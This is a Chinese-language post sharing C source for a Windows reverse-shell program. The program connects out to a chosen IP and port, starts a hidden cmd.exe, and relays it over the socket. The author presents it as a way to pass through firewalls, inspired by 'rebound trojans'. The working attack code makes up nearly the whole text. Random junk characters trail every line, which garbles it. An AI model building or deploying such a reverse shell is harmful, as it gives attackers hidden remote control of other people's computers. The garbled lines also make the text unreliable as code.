Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Tp46K\}Uf  
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/* ============================== &F- \t5X=i  
Rebound port in Windows NT QPX&P{!g  
By wind,2006/7 cwuzi;f  
===============================*/ >``sM=Wat  
#include BG|
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#include :FTx#cZ  
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#pragma comment(lib,"wsock32.lib") QyghNImp  

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void OutputShell(); b5Q|$E   
SOCKET sClient; hrNB"W|?x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GYZP?E p*  
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void main(int argc,char **argv) 0$A^ .M;  
{ .n n&K}h  
WSADATA stWsaData; gY'-C  
int nRet; BLN|QaZ  
SOCKADDR_IN stSaiClient,stSaiServer; 3d
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if(argc != 3) arIEd VfNa  
{ Um}f7^fp^l  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1=Z!ZY}}e  
return; 3Ccy %;  
} 7}:+Yx
 
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WSAStartup(MAKEWORD(2,2),&stWsaData); Brtsig,4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NnH]c+   
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stSaiClient.sin_family = AF_INET; VV;%q3}:  
stSaiClient.sin_port = htons(0); _ amP:h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {J1iheuS}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O1D|T"@  
{ rFUR9O.{E  
printf("Bind Socket Failed!\n"); JM1O7I  
return; bwM?DY
 
} :8K}e]!c1  
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stSaiServer.sin_family = AF_INET; b)@D@K"5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ph}%Ay$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2x>7>;>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +h@.P B^`~  
{ ~-<MoCm!  
printf("Connect Error!"); 6Df*wi!jI  
return; ,<N{Y[n]e  
}
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OutputShell(); ;L,i">_%u[  
} Xp] jF^5  
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void OutputShell() u^G Y7gah  
{ )=#e*1!b  
char szBuff[1024]; Esu{c9,  
SECURITY_ATTRIBUTES stSecurityAttributes; tLi91)oG  
OSVERSIONINFO stOsversionInfo; g<@Q)p*ow  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lb$_$+@Vr  
STARTUPINFO stStartupInfo; eTFep^[  
char *szShell; &|j0GP&  
PROCESS_INFORMATION stProcessInformation; CT5s`v!s  
unsigned long lBytesRead; wVqp')e  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [UXN= 76N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xP_/5N=f  
stSecurityAttributes.lpSecurityDescriptor = 0; *Y?oAVkz  
stSecurityAttributes.bInheritHandle = TRUE; GeDI\-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?JG^GD7D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k3H0$1  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =&6sU{j*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .%y'q!?  
stStartupInfo.wShowWindow = SW_HIDE; IITUM)  
stStartupInfo.hStdInput = hReadPipe; 41R6V>e@9J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?"*JV1 9  
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GetVersionEx(&stOsversionInfo); 5x%Blkx  
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switch(stOsversionInfo.dwPlatformId) K-~gIlbQ`  
{ JO*/UC>"  
case 1: 7nNNc[d*=  
szShell = "command.com"; CIz0Gjtx6m  
break; e pp04~  
default: m";..V  
szShell = "cmd.exe"; 9Vqy<7i1  
break; >s
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} ^D5Jqh)
 
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DI8<0.L  
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send(sClient,szMsg,77,0); e@qH!.g)  
while(1) SkMFJ?J/  
{ 4w~%MZA^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p J_+n:_{  
if(lBytesRead) E_En"r)y  
{ S :8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Pw| h`[h  
send(sClient,szBuff,lBytesRead,0); nj0sh"~+  
} _XT'h;m  
else $,2T~1tE  
{ Bcarx<P-p  
lBytesRead=recv(sClient,szBuff,1024,0); 4xEw2F  
if(lBytesRead<=0) break; mE`qA*=?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vi:^bv  
} W^H3=hZ  
} .=9WY_@SZ  
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return; mM72>1~L*  
}